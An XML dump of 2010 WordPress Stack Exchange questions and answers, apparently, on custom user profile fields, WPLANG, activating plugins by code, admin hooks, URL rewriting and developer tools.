  <row Id="4022" PostTypeId="2" ParentId="1359" CreationDate="2010-11-14T00:40:49.193" Score="0" ViewCount="" Body="&lt;p&gt;solution: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2242/wordpress-3-0-1-on-iis-6-web-server-permalink-issues&quot;&gt;WordPress 3.0.1 on IIS 6 Web Server PermaLink Issues&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-14T00:40:49.193" />
  <row Id="4023" PostTypeId="2" ParentId="3973" CreationDate="2010-11-14T00:42:40.923" Score="1" ViewCount="" Body="&lt;p&gt;see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2242/wordpress-3-0-1-on-iis-6-web-server-permalink-issues&quot;&gt;WordPress 3.0.1 on IIS 6 Web Server PermaLink Issues&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-14T00:42:40.923" />
  <row Id="4024" PostTypeId="2" ParentId="1266" CreationDate="2010-11-14T00:50:51.900" Score="-1" ViewCount="" Body="&lt;p&gt;I know I COULD get downvotes for not answering the question directly and proposing another platform.... but hey... if a customer asked me for a Digg clone I would install Pligg (http://www.pligg.com/) since... well... that is the digg clone...&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-14T00:50:51.900" CommentCount="3" />
  <row Id="4025" PostTypeId="2" ParentId="395" CreationDate="2010-11-14T01:06:48.320" Score="2" ViewCount="" Body="&lt;p&gt;I also found:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;WordPress as a QA site&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpressqa.com/&quot; rel=&quot;nofollow&quot;&gt;http://wordpressqa.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;WordPress as a Ticketing system&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getqualitycontrol.com/&quot; rel=&quot;nofollow&quot;&gt;http://getqualitycontrol.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-14T01:06:48.320" CommunityOwnedDate="2010-11-14T01:06:48.320" />
  <row Id="4028" PostTypeId="1" AcceptedAnswerId="4029" CreationDate="2010-11-14T04:34:13.167" Score="5" ViewCount="748" Body="&lt;p&gt;The user profile page has the following fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Username&lt;br&gt;&#xA;First Name&lt;br&gt;&#xA;Last Name&lt;br&gt;&#xA;Nickname &#xA;Display name&#xA;Contact Info&#xA;E-mail&#xA;Website &#xA;AIM &#xA;Yahoo IM&lt;br&gt;&#xA;Jabber / Google Talk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can more fields be added to this section. Field such as Phone number, address, or anything else.&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-12-01T22:06:23.167" Title="How To Add Custom Form Fields To The User Profile Page?" Tags="&lt;multisite&gt;&lt;customization&gt;&lt;users&gt;" AnswerCount="2" FavoriteCount="7" />
  <row Id="4029" PostTypeId="2" ParentId="4028" CreationDate="2010-11-14T04:52:53.487" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Raj Sekharan:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use the &lt;code&gt;'show_user_profile'&lt;/code&gt;, &lt;code&gt;'edit_user_profile'&lt;/code&gt;, &lt;code&gt;'personal_options_update'&lt;/code&gt; and &lt;code&gt;'edit_user_profile_update'&lt;/code&gt; hooks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some &lt;strong&gt;code to add a Phone number&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'show_user_profile', 'yoursite_extra_user_profile_fields' );&#xA;add_action( 'edit_user_profile', 'yoursite_extra_user_profile_fields' );&#xA;function yoursite_extra_user_profile_fields( $user ) {&#xA;?&amp;gt;&#xA;  &amp;lt;h3&amp;gt;&amp;lt;?php _e(&quot;Extra profile information&quot;, &quot;blank&quot;); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;  &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;th&amp;gt;&amp;lt;label for=&quot;phone&quot;&amp;gt;&amp;lt;?php _e(&quot;Phone&quot;); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;      &amp;lt;td&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; id=&quot;phone&quot; class=&quot;regular-text&quot; &#xA;            value=&quot;&amp;lt;?php echo esc_attr( get_the_author_meta( 'phone', $user-&amp;gt;ID ) ); ?&amp;gt;&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e(&quot;Please enter your phone.&quot;); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;add_action( 'personal_options_update', 'yoursite_save_extra_user_profile_fields' );&#xA;add_action( 'edit_user_profile_update', 'yoursite_save_extra_user_profile_fields' );&#xA;function yoursite_save_extra_user_profile_fields( $user_id ) {&#xA;  $saved = false;&#xA;  if ( current_user_can( 'edit_user', $user_id ) ) {&#xA;    update_user_meta( $user_id, 'phone', $_POST['phone'] );&#xA;    $saved = true;&#xA;  }&#xA;  return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code will add a field to your user screen that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101114-000617.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also several blog posts available on the subject that might be helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Adding and using custom user profile fields&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bavotasan.com/tutorials/adding-extra-fields-to-the-wordpress-user-profile/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Adding Extra Fields to the WordPress User Profile&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or if you prefer not to roll-your-own there are plugins that add said features such as the following &lt;em&gt;(although I'm sure there are others):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/cimy-user-extra-fields/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cimy User Extra Fields&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-14T05:09:26.683" LastActivityDate="2010-11-14T05:09:26.683" CommentCount="5" />
  <row Id="4030" PostTypeId="1" AcceptedAnswerId="4068" CreationDate="2010-11-14T05:10:37.897" Score="2" ViewCount="558" Body="&lt;p&gt;I am curious to know if setting 'WPLANG' in wp-config.php just effects the admin language or does it have other consequences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run a blog in a foreign language but use English in my admin. I initially set the WPLANG to the foreign language a while ago and used a plugin (admin in English) to keep the English admin interface whilst using an .mo file to translate the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now use 'WPML' to manage the translations. I was wondering whether my WPLANG setting is still relevant and what it really means to the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2010-11-15T23:44:36.573" Title="Does changing 'WPLANG' in wp-config.php just effect the admin language or does it have other consequences?" Tags="&lt;multi-language&gt;&lt;wp-config&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="4031" PostTypeId="2" ParentId="70" CreationDate="2010-11-14T05:13:43.300" Score="1" ViewCount="" Body="&lt;h1&gt;Secure Form Mailer Plugin For Wordpress&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For years and years I have been using the form plugin from dagon design: &lt;a href=&quot;http://www.dagondesign.com/articles/secure-form-mailer-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.dagondesign.com/articles/secure-form-mailer-plugin-for-wordpress/&lt;/a&gt; for free! (so let me do my happy user giveback thing:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin has a wide range of features including: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Support for multiple instances&lt;/li&gt;&#xA;&lt;li&gt;An easy to use dynamic form generation system (any number of fields, in any order)&lt;/li&gt;&#xA;&lt;li&gt;multiple recipients&lt;/li&gt;&#xA;&lt;li&gt;multiple file attachments&lt;/li&gt;&#xA;&lt;li&gt;optional auto reply feature&lt;/li&gt;&#xA;&lt;li&gt;an image verification system&lt;/li&gt;&#xA;&lt;li&gt;numerous security features (including protection against email header injection)&lt;/li&gt;&#xA;&lt;li&gt;a message template system&lt;/li&gt;&#xA;&lt;li&gt;multiple languages&lt;/li&gt;&#xA;&lt;li&gt;and too many other things to list. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This plugin was designed to be easy to use, while still being extremely flexible. If you just want a simple contact form, you can set one up with just a few clicks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you who need something a bit more advanced, you can completely customize the plugin to fit your needs – whether it is 5 fields or 500. A non-WordPress version is also available. ReCaptcha support has also been added, as well as support for storing the data in a delimited file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has served me well for years.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-14T05:20:44.800" LastActivityDate="2010-11-14T05:20:44.800" />
  <row Id="4032" PostTypeId="2" ParentId="324" CreationDate="2010-11-14T05:34:40.893" Score="1" ViewCount="" Body="&lt;p&gt;This is a nice thread. I use many of the same tools as above and on windows and linux flavors. Maybe the ones that I use specifically and not mentioned:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;total commander for comparing directories and files and ftp-ing: &lt;a href=&quot;http://www.ghisler.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.ghisler.com/&lt;/a&gt; (basically free but shareware, I 'bought' it some years ago)&lt;/li&gt;&#xA;&lt;li&gt;RTC for versioning and todo lists: &lt;a href=&quot;http://jazz.net/projects/rational-team-concert/&quot; rel=&quot;nofollow&quot;&gt;http://jazz.net/projects/rational-team-concert/&lt;/a&gt;&#xA;(its free for up to 10 users)&lt;/li&gt;&#xA;&lt;li&gt;dreamcoder for mysql (free sql management): &lt;a href=&quot;http://www.sqldeveloper.net/database-tools/mysql/overview.html&quot; rel=&quot;nofollow&quot;&gt;http://www.sqldeveloper.net/database-tools/mysql/overview.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Xara for all graphics: &lt;a href=&quot;http://www.xara.com/eu/&quot; rel=&quot;nofollow&quot;&gt;http://www.xara.com/eu/&lt;/a&gt; (yes I bought it and keep upgrading since the first versions it is now € 279 but it is really worth it)&lt;/li&gt;&#xA;&lt;li&gt;Irfanview ( &lt;a href=&quot;http://www.irfanview.com&quot; rel=&quot;nofollow&quot;&gt;http://www.irfanview.com&lt;/a&gt;) for quick image copy/pasting/operations and batch processing&lt;/li&gt;&#xA;&lt;li&gt;Wireshark ( &lt;a href=&quot;http://www.wireshark.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.wireshark.org/&lt;/a&gt;) (free) - to test if e.g. a RPC call is ok&lt;/li&gt;&#xA;&lt;li&gt;sometimes Artweaver ( &lt;a href=&quot;http://www.artweaver.de/&quot; rel=&quot;nofollow&quot;&gt;http://www.artweaver.de/&lt;/a&gt;) (free) for tablet drawings&lt;/li&gt;&#xA;&lt;li&gt;i manage my zillions of passwords for all these sites with roboform (http://www.roboform.com/) ( paid also for mobile), lastpass ( &lt;a href=&quot;https://lastpass.com/&quot; rel=&quot;nofollow&quot;&gt;https://lastpass.com/&lt;/a&gt;) free and keepass ( &lt;a href=&quot;http://keepass.info/&quot; rel=&quot;nofollow&quot;&gt;http://keepass.info/&lt;/a&gt;), still havent found the most best solution&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-14T05:42:37.003" LastActivityDate="2010-11-14T05:42:37.003" CommunityOwnedDate="2010-11-14T05:34:40.893" CommentCount="2" />
  <row Id="4033" PostTypeId="1" AcceptedAnswerId="4034" CreationDate="2010-11-14T06:04:47.680" Score="3" ViewCount="92" Body="&lt;p&gt;These are some very basic questions, so I apologize for asking them, but it's hard to understand exactly how some things work without spending dozens of hours experimenting with them.  I'm more than willing to learn WP if it can do these things, but I just need some &lt;strong&gt;yes / no / brief explanation&lt;/strong&gt; answers to know what WP is capable of.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I know WP is some sort of blogging system, but can I use it to create blog posts on my own domain?&lt;/li&gt;&#xA;&lt;li&gt;If so, can only the web admin make them, or can any user of the site make them?&lt;/li&gt;&#xA;&lt;li&gt;If WP can create a blog on my own domain, is it as easy as tossing some server-side script files into a directory on my site and then creating the blog posts from within my browser?&lt;/li&gt;&#xA;&lt;li&gt;If so, will it manage blog accounts by itself, or do I have to create an account/login/password/etc system?&lt;/li&gt;&#xA;&lt;li&gt;If WP can create a blog system on my domain that all users can use, is the CPU usage that WP will create going to end up costing me $100/mo if there are only about 20 active bloggers on my site, or will the CPU-usage bills caused by WP be insignificant?&lt;/li&gt;&#xA;&lt;li&gt;Does WP have any forum-like functionality, or is it strictly blog posts + comments + facebook &quot;likes&quot; / Digg votes / etc.?&lt;/li&gt;&#xA;&lt;li&gt;Does my web site's host (HostGator) have to support WP in any way (whether it be with server-side files that I can't myself put on the server [other than &lt;a href=&quot;http://wordpress.org/about/requirements/&quot; rel=&quot;nofollow&quot;&gt;PHP and MySQL&lt;/a&gt;, which HG offers), or whether it be the case that some site hosts do not allow the use of WP, etc.)?  I know HostGator does not allow warez, music sites, gaming, et al. sites, but they shouldn't have a problem with me using WP, right?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Like I said, if it sounds like what I'm looking for, I'm more than happy to buckle down and learn it.  I just need to know what WP &quot;is.&quot;  I apologize again for my profound ignorance.&lt;/p&gt;&#xA;" OwnerUserId="1573" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-11-14T08:29:26.817" LastActivityDate="2010-11-14T08:41:13.860" Title="What exactly is WordPress?" Tags="&lt;capabilities&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="4034" PostTypeId="2" ParentId="4033" CreationDate="2010-11-14T08:41:13.860" Score="5" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes, you can run WordPress with your own domain if you purchase hosting for it.&lt;/li&gt;&#xA;&lt;li&gt;WordPress has system of &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Summary_of_Roles&quot; rel=&quot;nofollow&quot;&gt;Roles&lt;/a&gt; (which can be further enhanced via plugins), you can let users register and allow to perform actions accordign to their role.&lt;/li&gt;&#xA;&lt;li&gt;Essentially yes. You &lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress&quot; rel=&quot;nofollow&quot;&gt;copy WordPress files to server and initiate brief installation procedure&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;First account will be created during installation (if I remember right latest WordPress version will ask to specify login/password).&lt;/li&gt;&#xA;&lt;li&gt;CPU usage will be proportional to pageviews and amount of functionality you implement in your WP site.&lt;/li&gt;&#xA;&lt;li&gt;WordPress has no forum functionality natively. There are third party plugins to implement/integrate it and sister project &lt;a href=&quot;http://bbpress.org/&quot; rel=&quot;nofollow&quot;&gt;bbPress&lt;/a&gt; (but it currently goes through some rough patch and is being heavily refactored).&lt;/li&gt;&#xA;&lt;li&gt;WordPress is tailored to be highly compatible with different hosting environments. Hostgator not only supports but explicitly &lt;a href=&quot;http://www.hostgator.com/wordpress-hosting.shtml&quot; rel=&quot;nofollow&quot;&gt;recommends&lt;/a&gt; WordPress for blogging sites.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-14T08:41:13.860" CommentCount="2" />
  <row Id="4035" PostTypeId="2" ParentId="4019" CreationDate="2010-11-14T10:31:54.090" Score="1" ViewCount="" Body="&lt;p&gt;The plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/image-widget/&quot; rel=&quot;nofollow&quot;&gt;Image Widget&lt;/a&gt; uses it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/image-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/image-widget/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-11-14T10:31:54.090" />
  <row Id="4036" PostTypeId="1" AcceptedAnswerId="4115" CreationDate="2010-11-14T11:48:54.287" Score="0" ViewCount="296" Body="&lt;p&gt;My permalinks are: /%postname%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently use Custom Post Permalinks to rewrite my permalinks. It work well, but... I dlike to have some url like: &lt;strong&gt;www.mysite.com/permalinks_of_my_custom_posts.php&lt;/strong&gt; &gt;&gt; &lt;strong&gt;www.mysite.com/mario-games.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the plugin to do that I have to write &lt;em&gt;/%list-mario%.php&lt;/em&gt; and it's ok,slug is rewrite... Well ... not so much because if I write another custom posts and do the same way, for exemple : &lt;em&gt;/%list-firemen-games.php&lt;/em&gt;, it's ok, I have my &lt;strong&gt;www.mysite.com/firemen-games.php&lt;/strong&gt; BUT, &lt;strong&gt;www.mysite.com/mario-games.php&lt;/strong&gt; has became unaccessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, (many butt there sorry :D) If I write something before the slug, for example: &lt;em&gt;/test/%list-mario%.php&lt;/em&gt; , my url is ok and it work ... So I have &lt;strong&gt;www.mysite.com/test/mario-games.php&lt;/strong&gt; and &lt;strong&gt;www.mysite.com/firemen-games.php&lt;/strong&gt; and I want &lt;strong&gt;www.mysite.com/mario-games.php&lt;/strong&gt; and &lt;strong&gt;www.mysite.com/firemen-games.php&lt;/strong&gt; and other ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It s like when I want multiple url like &lt;strong&gt;www.mysite.com/mario-games.php&lt;/strong&gt;   a var is erased by another and only the last work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An other solution would be to have some page.php ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help !&lt;/p&gt;&#xA;" LastActivityDate="2010-11-15T21:58:26.683" Title="custom posts permalinks url rewriting" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="4037" PostTypeId="1" AcceptedAnswerId="4063" CreationDate="2010-11-14T11:56:06.173" Score="2" ViewCount="1856" Body="&lt;p&gt;Is there any simple way to have wordpress, php or apache rewrite all urls which involve /wp-admin to /admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added this entry to my .htaccess file:&#xA;RewriteRule ^admin /wp-login.php [L]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however although domain.com/admin will correctly show the login page all pages after you login show the URL as /wp-admin  which I want to always show /admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CH&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-06-17T22:32:40.170" Title="How to redirect/rewrite all /wp-login requests" Tags="&lt;wp-admin&gt;&lt;login&gt;&lt;url-rewriting&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" />
  <row Id="4038" PostTypeId="2" ParentId="3746" CreationDate="2010-11-14T11:59:37.043" Score="0" ViewCount="" Body="&lt;p&gt;I think all comes down to the neat way Tumblr handles different post types. This has inspire the design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like this functionality is coming to WP soon...&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-11-14T11:59:37.043" />
  <row Id="4039" PostTypeId="1" AcceptedAnswerId="4040" CreationDate="2010-11-14T12:03:45.023" Score="1" ViewCount="139" Body="&lt;p&gt;I want to trigger a function in a plugin when a new sub-blog is created in a multisite set up of WordPress. Is it possible? If so, to which action/filter should I hook? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The motivation here is to modify the new sub-blog blog it has a preset arrangment of settings, theme, plugin options, plugin activations, content set up, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there aren't action/hooks for this purpose are there any other ways to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-11-14T13:31:45.537" Title="How To Modify New Sub Blog Immediately When Super Administrator Creates It?" Tags="&lt;multisite&gt;&lt;3.0.1&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="4040" PostTypeId="2" ParentId="4039" CreationDate="2010-11-14T12:09:52.410" Score="1" ViewCount="" Body="&lt;p&gt;U guess you can use the &lt;strong&gt;activate_blog&lt;/strong&gt; hook &lt;/p&gt;&#xA;" OwnerUserId="1109" LastActivityDate="2010-11-14T12:09:52.410" CommentCount="3" />
  <row Id="4041" PostTypeId="1" AcceptedAnswerId="4050" CreationDate="2010-11-14T12:24:24.343" Score="4" ViewCount="647" Body="&lt;p&gt;If possible, how can installed plugins (meaning the files have been placed in wp-content/plugins directory) be activated from other plugins?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-06-14T11:14:19.103" Title="How To Activate Plugins via Code?" Tags="&lt;plugins&gt;&lt;3.0&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="4042" PostTypeId="2" ParentId="4006" CreationDate="2010-11-14T12:48:49.663" Score="1" ViewCount="" Body="&lt;p&gt;Debug Queries plugin can also help in this task.&#xA;If you want to be even more specific, and don't mind dealing with some code, you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/plugin-test-drive/&quot; rel=&quot;nofollow&quot;&gt;Plugin Test Drive&lt;/a&gt; (separates the tested plugins) and add the following function just before and after each plugin file is called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;function getTime() &#xA;    { &#xA;    $a = explode (' ',microtime()); &#xA;    return(double) $a[0] + $a[1]; &#xA;    } &#xA;$Start = getTime(); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;$End = getTime(); &#xA;echo &quot;Time taken = &quot;.number_format(($End - $Start),2).&quot; secs&quot;; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1502" LastEditorUserId="1502" LastEditorDisplayName="" LastEditDate="2010-11-14T13:09:45.410" LastActivityDate="2010-11-14T13:09:45.410" />
  <row Id="4043" PostTypeId="2" ParentId="4041" CreationDate="2010-11-14T12:55:57.190" Score="2" ViewCount="" Body="&lt;p&gt;Plugin activation process is coded to work with WP admin interface. It performs some checks to prevent enabling plugins with errors (loading such on start might break WP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is handled by &lt;code&gt;activate_plugin()&lt;/code&gt; function (&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-admin/includes/plugin.php#L441&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;) which is documented as unusable elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to activate plugin by code the goal itself is relatively easy - to change &lt;code&gt;active_plugins&lt;/code&gt; option to include that plugin. But you will have to re-create related activation hooks from scratch and will risk breaking site by activating without sandbox step.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-14T12:55:57.190" />
  <row Id="4044" PostTypeId="2" ParentId="4039" CreationDate="2010-11-14T13:31:45.537" Score="0" ViewCount="" Body="&lt;p&gt;How about use a plugin that does this already?&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-11-14T13:31:45.537" CommentCount="1" />
  <row Id="4045" PostTypeId="1" AcceptedAnswerId="4046" CreationDate="2010-11-14T13:39:38.093" Score="0" ViewCount="242" Body="&lt;p&gt;I'm adding an action witht he following line:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action( 'admin_init', 'fb_init_scripts');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function fb_init_scripts() {&#xA;    //Only use these scripts in admin interface&#xA;    if (is_admin() ) {&#xA;        wp_enqueue_script('jquery-ui','http://ajax.googleapis.com/ajax/libs/jqueryui/1.7/jquery-ui.min.js',array('jquery'));&#xA;    }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this instance, is it pointless to use &lt;code&gt;is_admin()&lt;/code&gt; to controll if I'm in admin panel, since I'm running this function in &lt;code&gt;admin_init&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-11-14T14:16:08.933" Title="Question regarding the usage of is_admin() and add_action( 'admin_init')" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="4046" PostTypeId="2" ParentId="4045" CreationDate="2010-11-14T13:46:13.890" Score="2" ViewCount="" Body="&lt;p&gt;Yep, pointless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;admin_init&lt;/code&gt; only fires in admin area (and couple more files related to AJAX functionality) so additional &lt;code&gt;is_admin()&lt;/code&gt; check is not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It often comes up in examples for hooks that fire both on front-end and admin area.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-14T13:46:13.890" />
  <row Id="4047" PostTypeId="2" ParentId="1567" CreationDate="2010-11-14T13:59:37.530" Score="5" ViewCount="" Body="&lt;h2&gt;Enable shortcodes in widgets&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// shortcode in widgets&#xA;if ( !is_admin() ){&#xA;    add_filter('widget_text', 'do_shortcode', 11);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="699" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:09:54.290" LastActivityDate="2011-01-26T14:09:54.290" CommunityOwnedDate="2010-11-14T13:59:37.530" />
  <row Id="4048" PostTypeId="2" ParentId="4045" CreationDate="2010-11-14T14:16:08.933" Score="2" ViewCount="" Body="&lt;p&gt;As Rarst said it's redundant. The ajax interface happens to be in the admin area for reasons related to authentication, and WP considers it to be part of the admin area -- including when it technically isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good &quot;trick&quot;, that said, is to wrap applicable add_action() calls in an &lt;code&gt;if&lt;/code&gt; block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() ) {&#xA;  add_action('admin_init', 'foo');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing so avoids polluting the &lt;code&gt;$wp_filter&lt;/code&gt; global on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better yet, create a separate file with admin-related code, and only include it in the admin area (or when needed, using the &lt;code&gt;'load-$pagehook'&lt;/code&gt; action). You can see an example of how this is done here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sem-external-links/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/sem-external-links/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-14T14:16:08.933" />
  <row Id="4049" PostTypeId="2" ParentId="324" CreationDate="2010-11-14T14:19:23.373" Score="2" ViewCount="" Body="&lt;p&gt;I'm developing on ubuntu (currently running 10.04).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For wordpress development, I use:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;geany (quick editing script)&lt;/li&gt;&#xA;&lt;li&gt;eclipse (when on full development)&lt;/li&gt;&#xA;&lt;li&gt;RapidSVN (or eclipse's SVN plugin)&lt;/li&gt;&#xA;&lt;li&gt;FileZilla&lt;/li&gt;&#xA;&lt;li&gt;PHPMiniAdmin and PHPMyAdmin&lt;/li&gt;&#xA;&lt;li&gt;FireBug (for javascript and CSS editing)&lt;/li&gt;&#xA;&lt;li&gt;Password management with LastPass.com&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My strategy when developing plugin hosted on wordpress, I develop that plugin on eclipse's workspace and create symlink from trunks to &lt;code&gt;wp-content/plugins&lt;/code&gt;. That way, I can manage my plugins better.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-14T14:19:23.373" 